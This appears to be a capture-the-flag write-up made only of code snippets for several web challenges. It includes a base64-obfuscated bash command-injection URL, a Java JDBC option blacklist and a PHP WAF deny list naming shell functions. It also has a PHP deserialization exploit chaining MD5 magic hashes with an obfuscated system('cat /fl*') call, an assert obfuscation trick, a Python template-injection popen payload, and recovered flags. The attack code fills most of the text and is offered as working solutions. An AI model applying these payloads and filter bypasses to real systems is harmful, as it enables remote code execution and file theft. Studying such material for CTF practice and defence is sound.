1
http://ctf.a1natas.com:29678/api/game/evalTest?cmd=bash%20-c%20%7Becho%2CY2F0IC9mbGFnXzJiZGY5YzI5MjA5ODg4M2IzOGVhNzM2YzkxNDBiNGY0ID4gL3RtcC9h%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D

1
@GetMapping({"/api/game/databaseTest"})
2
public String databasetest(@RequestParam(value = "url", required = false) String url, @RequestParam(value = "user", required = false) String username, @RequestParam(value = "pass", required = false) String pass, @RequestParam(value = "dbname", required = false) String dbname) throws SQLException, ClassNotFoundException {
3
    if (isBlank(url) || isBlank(username) || isBlank(pass) || isBlank(dbname)) {
4
        return "Something is Wrong? Missing required parameter";
5
    }
6
    List<String> forbidden = Arrays.asList(PropertyDefinitions.PNAME_autoDeserialize, PropertyDefinitions.PNAME_allowLoadLocalInfile, PropertyDefinitions.PNAME_socketFactory, PropertyDefinitions.NAMED_PIPE_PROP_NAME, PropertyDefinitions.PNAME_allowUrlInLocalInfile, "statementInterceptors");
7
    List<String> configs = Arrays.asList(url, username, pass, dbname);
8
    for (String config : configs) {
9
        for (String f : forbidden) {
10
            if (config.toLowerCase().contains(f.toLowerCase())) {
11
                throw new IllegalArgumentException("Forbidden option: " + f);
12
            }
13
        }
14
    }
15
    String jdbcurl = "jdbc:mysql://" + url + "/" + dbname + "?allowPublicKeyRetrieval=false&useSSL=false&autoDeserialize=false&allowLoadLocalInfile=false&user=" + username + "&password=" + pass;
16
    if (this.scoreFileService.Database_Test(jdbcurl)) {
17
        return "TestPass!";
18
    }
19
    return "Oh! wrong!";
20
}

1
String jdbcurl = "jdbc:mysql://" + url + "/" + dbname + "?allowPublicKeyRetrieval=false&useSSL=false&autoDeserialize=false&allowLoadLocalInfile=false&user=" + username + "&password=" + pass;

1
      const mirror = (box) => {
2
        if (Array.isArray(box)) return box.map(it => typeof it === "string" ? it : (it && it.id)).filter(Boolean);
3
        if (box && Array.isArray(box.ids)) return box.ids.map(it => typeof it === "string" ? it : (it && it.id)).filter(Boolean);
4
        if (box && typeof box.id === "string") return [box.id];
5
        return [];
6
      };
7
      const gate = (ids, token) => token === ((document.title.length ^ ids.length) ^ 19);
8
      const hasCore = ids => ids.some(id => id === `M-${[1,9].join("")}`);
9
      const reveal = async (ids, token) => {
10

11
          const res = await fetch("./api/orrery.php", {
12
            method: "POST",
13
            headers: { "Content-Type": "application/json" },
14
            body: JSON.stringify({ ids, token })
15
          });
16
          const data = await res.json().catch(() => ({}));
17
          alert(data.flag);
18

19
      };
20
      const api = {};
21
      Object.defineProperty(api, ["se","tt","le"].join(""), {
22
        value(box, token){
23
          const ids = mirror(box);
24
          if (!ids.length || !gate(ids, token) || !hasCore(ids)) return false;
25
          reveal(ids, token);
26
          return true;
27
        },
28
        enumerable: false
29
      });
30
      return Object.freeze(api);
31
    })();
32

33
    Object.defineProperty(window, "__orrery", {
34
      value: __orrery,
35
      writable: false,
36
      configurable: false,
37
      enumerable: false
38
    });

1
{"ids":["M-19"],"token":28}

1
flag{I_4m_my_#wN_sUn}

1
<?php
2

3
error_reporting(0);
4

5
class hachiyo {
6
    public $hito;
7

8
    public function __wakeup() {
9
        echo "return to 8000 years ago,again.\n";
10
        $this->hito = null;
11
    }
12

13
    public function __destruct() {
14
        if ($this->hito instanceof iroha) {
15
            $this->hito->run();
16
        }
17
    }
18
}
19

20
class iroha {
21
    private $dream;
22

23
    public function __construct() {
24
        $this->dream = new kaguya();
25
    }
26

27
    public function run() {
28
        $this->dream->execute();
29
    }
30
}
31

32
class kaguya {
33
    public $kotoba;
34
    public $leave;
35
    public $return;
36

37
    private function waf($code) {
38
        $code = strtolower($code);
39
        $code = preg_replace('/\s+/', '', $code);
40

41
        $deny = array(
42
            'flag',
43
            'system',
44
            'exec',
45
            'passthru',
46
            'shell_exec',
47
            'popen',
48
            'proc_open',
49
            'proc_get_status',
50
            'proc_terminate',
51
            'pcntl_exec',
52
            'assert',
53
            'eval',
54
            'include',
55
            'include_once',
56
            'require',
57
            'require_once',
58
            'readfile',
59
            'file_get_contents',
60
            'file_put_contents',
61
            'fopen',
62
            'fclose',
63
            'fread',
64
            'fwrite',
65
            'highlight_file',
66
            'show_source',
67
            'scandir',
68
            'glob',
69
            'opendir',
70
            'readdir',
71
            'unlink',
72
            'rename',
73
            'copy',
74
            'touch',
75
            'chmod',
76
            'chown',
77
            'base64_decode',
78
            'gzuncompress',
79
            'str_rot13',
80
            'phpinfo',
81
            'curl_exec',
82
            'curl_multi_exec',
83
            'data://',
84
            'php://',
85
            'phar://',
86
            '`'
87
        );
88

89
        foreach ($deny as $word) {
90
            if (strpos($code, $word) !== false) {
91
                return false;
92
            }
93
        }
94

95
        if (preg_match('/[{}\\[\\]<>\\$]/', $code)) {
96
            return false;
97
        }
98

99
        return true;
100
    }
101

102
    public function execute() {
103
        if (md5($this->leave) == md5($this->return) && $this->leave != $this->return) {
104
            if (!$this->waf($this->kotoba)) {
105
                die("I will be your side,maybe. \n");
106
            }
107
            eval($this->kotoba);
108
            echo "<br>";
109
            echo "True Happy Ending.CONGRATCULATIONS!\n";
110
        } else {
111
            die("I wish i can be your side.\n");
112
        }
113
    }
114
}
115

116
if (isset($_POST['data'])) {
117
    $data = $_POST['data'];
118

119
    if (strlen($data) > 200) {
120
        die("too long");
121
    }
122

123
    unserialize($data);
124
} else {
125
    highlight_file(__FILE__);
126
}

1
Notice: unserialize(): Unexpected end of serialized data in /Users/chao/ctf/ZJNU/WEB/Ex-otogibanashi/index.php on line 123
2

3
Notice: unserialize(): Error at offset 191 of 192 bytes in /Users/chao/ctf/ZJNU/WEB/Ex-otogibanashi/index.php on line 123

1
<?php
2

3
class hachiyo {
4
    public $hito;
5

6
    public function __construct() {
7
        $this->hito = new iroha();
8
    }
9
}
10

11
class iroha {
12
    private $dream;
13

14
    public function __construct() {
15
        $this->dream = new kaguya();
16
    }
17
}
18

19
class kaguya {
20
    public $kotoba;
21
    public $leave;
22
    public $return;
23

24
    public function __construct() {
25
        $this->leave = "240610708";
26
        $this->return = "QNKCDZO";
27
        $this->kotoba = "call_user_func('syst'.'em', 'cat /fl*');";
28
    }
29
}
30

31

32
$a = new hachiyo();
33

34
echo urlencode(serialize($a));
35

36
unserialize(serialize($a));

1
$a = ('!'^'@').'ssert';
2
$a('php'.'info();');

1
<div>
2
  <?python out = [].__reduce_ex__(2)[0].__getattribute__('__glo'+'bals__')['__built''ins__']['__imp''ort__']('os').__getattribute__('po'+'pen')('cat /flag').read() ?>
3
  ${out}
4
</div>

1
c：fgoywlvfd}l{poiheua@aheulaany@
2
hint：dGhlIHJhaWxmZW5jZSBjaXBoZXI6IDM=

1
flag{hopeyouwillhaveafunday}